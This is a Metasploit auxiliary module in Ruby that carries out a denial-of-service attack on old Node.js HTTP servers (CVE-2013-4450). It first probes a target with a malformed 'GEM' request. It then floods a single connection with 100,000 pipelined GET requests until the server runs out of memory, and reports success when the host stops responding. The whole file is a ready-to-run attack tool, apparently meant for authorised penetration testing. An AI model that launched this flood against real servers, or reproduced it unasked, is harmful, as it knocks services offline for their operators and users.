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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Node.js HTTP Pipelining Denial of Service',
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      'Description'    => %q{
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        This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions
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        released before 0.10.21 and 0.8.26. The attack sends many pipelined
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        HTTP requests on a single connection, which causes unbounded memory
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        allocation when the client does not read the responses.
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      },
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      'Author'         =>
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        [
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          'Marek Majkowski', # Vulnerability discovery
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          'titanous',        # Metasploit module
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          'joev'             # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2013-4450' ],
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          [ 'OSVDB', '98724' ],
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          [ 'BID' , '63229' ],
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          [ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]
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        ],
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      'DisclosureDate' => '2013-10-18'))
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptInt.new('RLIMIT', [true,  "Number of requests to send", 100000])
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      ],
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    self.class)
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  end
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  def check
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    # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
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    # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
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    status = Exploit::CheckCode::Safe
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    connect
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    sock.put(http_request("GEM"))
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    begin
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      response = sock.get_once
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      status = Exploit::CheckCode::Appears if response =~ /HTTP/
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    rescue EOFError
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      # checking against >= 0.10.17 raises EOFError because there is no
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      # response to GEM requests
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      vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
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      return Msf::Exploit::CheckCode::Unknown
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    ensure
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      disconnect
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    end
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    status
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  end
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  def host
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      host = datastore['RHOST']
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      host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
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      host
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  end
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  def http_request(method='GET')
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    "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
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  end
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  def run
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    payload = http_request
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    begin
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      print_status("Stressing the target memory...")
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      connect
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      datastore['RLIMIT'].times { sock.put(payload) }
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      print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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      print_status("Unable to connect to #{host}.")
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    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
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      print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")
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    ensure
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      disconnect
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    end
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  end
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end
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